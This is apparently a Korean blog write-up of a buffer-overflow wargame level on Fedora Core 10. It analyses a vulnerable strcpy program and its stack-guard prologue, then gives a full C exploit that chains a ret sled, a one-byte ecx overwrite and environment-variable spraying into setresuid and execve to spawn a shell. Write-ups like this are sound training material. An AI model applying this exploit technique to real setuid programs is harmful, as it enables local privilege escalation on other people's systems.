본문 바로가기

FC

FC10 titan

문제 전문

 

/*
	The Lord of the BOF : The Fellowship of the BOF 
	- balog
	- Local BOF on Fedora Core 10 
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
        char buffer[256];
        if(argc != 2)
        {
                printf("argc Error!!\n");
                exit(-1);
        }

	// overflow!!
        strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

        return 0; 
}

 

메모리 영역 권한 정보

 

코드상 특별한 건 없는 것 같다.  스택과 heap에 ASLR이 걸려있고, 아스키 아머가 보임

 

함수 프롤로그에 코드가 추가된 것이 보인다.

ecx에게 esp + 4의 주소를 넘겨주고

push (ecx - 4주소의 값)을 한다. 

ecx = esp+4

ecx - 4 = esp 이므로

처음 esp에 있던 값을 저장하는 것이다.

 

함수 호출 시에 esp에 있던 값은 return 주소이므로 그냥 return 주소를 스택에 저장하는 것으로 볼 수 있다. 

 

and esp, 0xffff fff0 은 esp를 몇 번 확인해보니 항상 최하위 비트가 c로 나왔고, 해당 코드는 sub esp, 0xc로 볼 수 있다. 

(확신은 없으므로 0x10 미만(0xc or 0x8 or 0x4)의 확장으로 크게 보자)

 

원래 프롤로그인 push ebp // mov ebp, esp 이후에 push ecx를 한 번 더 하는 것으로 

return + 4의 주소를 스택에 넣고 있다. 

 

 

마지막에 다시 pop ecx(return + 4)

lea esp, [ecx - 0x4] (return address)를 통해서 

[ecx - 4]주소값을 esp로 옮긴다. 

 

이 때 [buffer + 256]-4의 값이 esp로 옮겨지는 것을 확인하였고,

 

그 뒤에 ret 실행은 pop eip, jmp eip로 진행되므로 해당 값이 실행된다. 

 

우선 중간의 어셈 코드 같은 경우 일반적인 push, pop을 이용하는 게 아니라 mov, lea와 주소, 주소의 값 등을 이동시키면서 인자를 전달하고 함수를 호출하고 있는데, return 값을 덮기 위한 주소를 운 좋게? 알게 되었고, 고정이어서 해당 부분에 대한 분석은 미루겠다. 

 

취소선들은 삽질한 내용 

이제 return 자체는 원하는 곳으로 시킬 수 있으니 페이로드를 작성해 보면

 

dummy(256) + (system + 4) + dummy + ("/bin/sh")로 해보자.라고 하기엔

아스키 아머 때문에 무리.

 

GOT overwrite를 시도해 보자.

 

필요한 godget은 PPR, strcpy@got, puts@got, system, ("/bin/sh")로 하겠다. 

 

strcpy@plt, puts@plt

 

strcpy@got  : 0x0804 96cc

puts@got    : 0x0804 96d0

puts@plt     : 0x0804 8340

 

 

objdump -d 옵션으로 얻은 godget

PPR     : 0x0804 8527 

 

system : 0x0016 c670

/bin/sh : 0x0027 2db5

 

시스템 함수 주소 (objdump -s와 grep --color옵션 사용)

0x00 : 0x0804 95ed

0x16 : 0x0804 96c4

0xc6 : 0x0804 83d9

0x70 : 0x0804 8249

 

 

자 필요한 부품은 다 모았다. 

 

페이로드 작성

dummy(256) + (strcpy@got+4) + PPR + puts@got + (0x70 주소) 

                  + (strcpy@got) + PPR + (puts@got+1) + (0xc6 주소)

                  + (strcpy@got) + PPR + (puts@got+2) + (0x16 주소)

                  + (strcpy@got) + PPR + (puts@got+3) + (0x00 주소)

                  + (puts@plt) + dummy + (/bin/sh 주소)

 

leave_ret : 0x0804 8546

 

 

우선 return 주소를 바꿀 수 있음, 근데 EBP도 덮어버리기 때문에 정상적으로 함수 인자를 받을 수 없음

(EBP+8, 12 등은 이상한 값)

 

눙물을 머금고 검색 ㄱㄱ

 

저번에도 esp 스택 조절하는 거는 나왔지만, 우선 좀 크게 느낀 게

BOF의 기본은 취약한 부분을 찾고 -> 조작 가능한 부분을 찾는 것이라고 생각했는데

내가 생각한 조작 가능한 부분의 폭이 아ㅏㅏㅏㅏ주 잘못되었다는 것을 다시 느낌

 

저번 문제의 경우 ESP를 증가시켜서 main 함수 안의 일정한 offset만큼 떨어진 지역변수에 도달하게 했다면

이번에는 어디있을지도 모르는 스택 가장 끝 즈음에 있는 환경변수에 도달하게 하는 방식이다. 

 

ASLR이 우선 base 주소를 뒤흔드는 거지, 기본적으로 스택의 구성은 같기 때문에

환경변수는 보통 스택에 끄트머리에 있음

 

그래서 ESP를 계~~속 증가시키고, 환경변수를 왕창 만들어 둔다면 어딘가에 닿을 거라는 내용.

(항상 align된 상태로 증가하는 것도 exploit 시킬 때 역시 한 몫함)

 

여기에 그럼 return을 어마무시하게 시키기 위한 포인트가 현재 환경에서 스택 가드라는 보호 기법을 사용하는데, 

함수 프롤로그랑 에필로그가 바뀐 내용이 그 부분이다.

 

ecx에 (return 주소 + 4)를 넣어놓고 이게 바뀌면 실행이 정상적으로 되지 않게 하는 게 기본 개념

 

그럼 EBP도 안 건드리고, ecx값 변경으로 return 주소만 건드리면서 진행을 하려면?

 

버퍼의 크기가 256byte == 0x100byte이고, ecx = 0x??????yz라고 했을 때, return 주소는 -4, ebp는 -8, 우리가 사용했던 지역변수값은 (-8 - 알파)에 있게 된다. 

그래서 최하위 비트를 00으로 덮게 되면 return 주소는 자연스럽게 0x yz만큼 뒤로 밀리게 되고,

buffer에 들어올 '확률'이 높아지게 된다는 것이다. 

 

그렇게 해놓고 페이로드를 ret godget으로 가득 채운 후, 스택 증가를 위해 add esp가 있는 부분을 찾아서 마지막에 넣는다. 아무대나 걸리면 그 이후로 esp는 무한 증가하다가 segmentation fault를 일으킬 것이다. 

 

"\x8f\x84\x04\x08" * 65 == 260byte

\x84\x84\x04\x08 == 4byte

\x00 == 1byte (ecx 최하위 bit 변경용)

 

이후에 변경을 용이하게 하기 위해, execve 함수를 사용한다. (자체 인자로 환경 변수 리스트를 받는다. )

 

#include <unistd.h>

int main(void){
	char *argv[] = {
	"./balog",
	"\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
	"\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
	"\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
	"\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
	"\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
	"\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
	"\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
	"\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
	"\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
	"\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
	"\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
	"\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
	"\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
	"\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
	"\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
	"\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x84\x84\x04\x08", 0 };

	char *envp[] = {
	"E1", "E2", "E3", "E4", "E5", "E6", "E7", "E8", "E9", "E10", 
	"E11", "E12", "E13", "E14", "E15", "E16", "E17", "E18", "E19", "E20", 
	"E11", "E12", "E13", "E14", "E15",  
	"\x60\xa6\x34", 	//&setresuid()
	"\xf6\x84\x04\x08\xf5\x01", 	//&PPPR + 501(argu1)
	"\x00",
	"\xf5\x01", "\x00",		//argu 2
	"\xf5\x01", "\x00",		//argu 3
	"\xe0\x97\x34",		//execve
	"AAA",
	"\xb5\x9d\x3e",		//bin_sh
	"\x58\x81\x04\x08\x58\x81\x04\x08",
	"E34", "E35", "E36", "E37", "E38", "E39", "E40", 
	0};
	
	execve("./balog", argv, envp);

}

 

최종 exploit 시킨 페이로드

 

환경변수를 최초 아무 3글자 (여기서는 Edd)로 했는데, 이렇게 해서 실행시켜보면 segmentation fault가 뜨고,

dump 파일을 확인하면 어느 환경변수로 마지막에 리턴했는지가 나온다. (dump를 위해 복사본을 이용해야 함)

그 이후엔 해당 자리에 원하는 함수 (여기서는 setresuid와 PPPR godget, 최종적으로 execve를 사용하였다.)

setreuid를 하려고 했는데 끝자리도 00으로 끝나서 안 됨. 

 

setresuid와 execve 주소 (setresuid는 인자가 3개 필요하므로 PPR이 아닌 PPPR이 필요하다)

 

PPPR godget

 

환경 변수값을 바꾸면서 dump 파일을 계속 확인해 주소 위치를 맞춰주는 작업이 약간 필요하고,

 

해당 페이로드를 보면 , 로 끊는 곳이 애매한데, "\x00"을 제외하면 전부 문자열로 취급되어서

끝에 \x00이 붙으면서 1바이트가 추가된다. 

 

근데 무조건 esp, eip는 4바이트씩 처리하므로, 그거 맞춘다고 하다보니 저꼴 됨

 

그리고 공유 라이브러리 주소가 한 몇시간? 정도 하다보면 바뀌는 경우가 있는데, 이건 이유를 모르겠음

 

사람들 payload랑 다른 이유가 그것인데,

찾는 게 어렵진 않지만 고정이 아닌 건지, 한 번 바뀌면 또 한참 동안 안 바뀌는 지 등을 모르겠음

'FC' 카테고리의 다른 글

FC10 balog  (0) 2019.04.09
FC4 enigma  (0) 2019.04.08
FC4 cruel  (0) 2019.04.02